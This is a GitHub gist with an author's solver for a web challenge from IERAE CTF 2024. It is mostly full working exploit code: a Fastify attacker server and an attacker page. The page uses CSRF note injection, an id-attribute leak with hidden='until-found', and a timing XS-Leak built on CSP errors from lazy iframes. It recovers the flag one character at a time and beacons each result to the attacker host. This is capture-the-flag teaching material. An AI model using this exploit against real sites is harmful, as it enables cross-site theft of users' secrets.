Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active September 25, 2024 13:41
Show Gist options
  • Save arkark/66f94a65396f825adcffafca6ebf22ce to your computer and use it in GitHub Desktop.
Save arkark/66f94a65396f825adcffafca6ebf22ce to your computer and use it in GitHub Desktop.
Author solution: Leak! Leak! Leak! - IERAE CTF 2024

🚨 I uploaded files to my repository: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202409_IERAE_CTF_2024/web/leakleakleak

Leak! Leak! Leak! - IERAE CTF 2024

Challenge

You can download challenge files from: leakleakleak.tar.gz

  • The download link will be unavailable in the future.

Solution

Summary

  • ID attribute leak with hidden="until-found"
  • Time-based XS-Leak: Busy process by many CSP errors with lazy loading iframes

Solver

  • index.js
  • public/index.html
const app = require("fastify")();
const path = require("node:path");
const BOT_BASE_URL = process.env.BOT_BASE_URL ?? "http://localhost:1337";
const PORT = "8080";
const ATTACKER_BASE_URL = process.env.ATTACKER_BASE_URL ?? `http://host.docker.internal:${PORT}`;
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const reportUrl = (url) =>
fetch(`${BOT_BASE_URL}/api/report`, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ url }),
}).then((r) => r.text());
const start = async () => {
app.register(require("@fastify/static"), {
root: path.join(__dirname, "public"),
});
let startTime;
let endTime;
app.get("/start-time", async (req, reply) => {
startTime = performance.now();
return "";
});
app.get("/end-time", async (req, reply) => {
endTime = performance.now();
return "";
});
app.get("/get-time", async (req, reply) => {
while (true) {
if (startTime && endTime && startTime < endTime) {
const time = endTime - startTime;
return { time };
}
await sleep(5);
}
});
app.post("/debug", async (req, reply) => {
console.debug("DEBUG:", req.body.trim());
return "";
});
let known = "IERAE{";
app.post("/leaked", async (req, reply) => {
known = req.body.trim();
console.log(known);
return "";
});
app.post("/flag", async (req, reply) => {
// You got a flag!
console.log("Flag:", req.body);
process.exit(0);
});
app.listen({ port: PORT, host: "0.0.0.0" }, async (err, address) => {
if (err) {
console.error(err);
process.exit(1);
}
await sleep(3 * 1000);
for (let i = 0; i < 5; i++) {
console.log(`Report ${i + 1}:`);
await reportUrl(
`${ATTACKER_BASE_URL}?${new URLSearchParams({
baseUrl: "http://web:3000",
known,
})}`
);
}
console.error("Failed");
process.exit(1);
});
};
start();
<body>
<form id="createNote" action="..." method="post" target="csrf">
<input type="text" name="note" value="..." />
</form>
<script type="module">
const BASE_URL = new URLSearchParams(location.search).get("baseUrl");
const KNOWN = new URLSearchParams(location.search).get("known");
const CHARS = "}abcdefghijklmnopqrstuvwxyz";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const wait = async (w) => {
while (true) {
try {
w.origin;
} catch {
return;
}
await sleep(5);
}
};
const prepare = async () => {
const win = open("about:blank", "csrf");
const createNote = async (note) => {
const form = document.getElementById("createNote");
form.action = `${BASE_URL}/create`;
form.note.value = note;
await sleep(100);
form.submit();
await sleep(100);
};
// https://xsleaks.dev/docs/attacks/id-attribute/
await createNote(`</noscript><div id="`);
// Create many <iframe> elements with `loading=lazy` and they will cause CSP errors
for (let i = 0; i < 20; i++) {
await createNote(
"</noscript>" +
"<iframe loading=lazy src=/ width=1></iframe>".repeat(10) +
"<noscript>"
);
}
// https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/hidden#using_until-found
await createNote(`<div hidden="until-found"><noscript>`);
// Timing attacks!
await createNote(
`<meta http-equiv="Refresh" content="1; URL=${location.origin}/end-time" />`
);
win.close();
};
const measure = async (query) => {
const url = `${BASE_URL}?${new URLSearchParams({ query })}`;
const hash = "</li>\n<li><span class=";
await fetch("/start-time");
const w = open(url);
await wait(w);
await sleep(100);
w.location = `${url}#${encodeURIComponent(hash)}`;
const { time } = await fetch("/get-time").then((r) => r.json());
w.close();
return time;
};
const main = async () => {
navigator.sendBeacon("/debug", "prepare: start");
await prepare();
navigator.sendBeacon("/debug", "prepare: end");
await sleep(1000);
let known = KNOWN;
while (!known.endsWith("}")) {
const threshold = (await measure(known + "@")) * 1.4;
navigator.sendBeacon("/debug", JSON.stringify({ threshold }));
for (const c of CHARS) {
const time = await measure(known + c);
navigator.sendBeacon("/debug", JSON.stringify({ c, time }));
if (time > threshold) {
known += c;
navigator.sendBeacon("/leaked", known);
break;
}
}
}
navigator.sendBeacon("/flag", known);
};
main();
</script>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment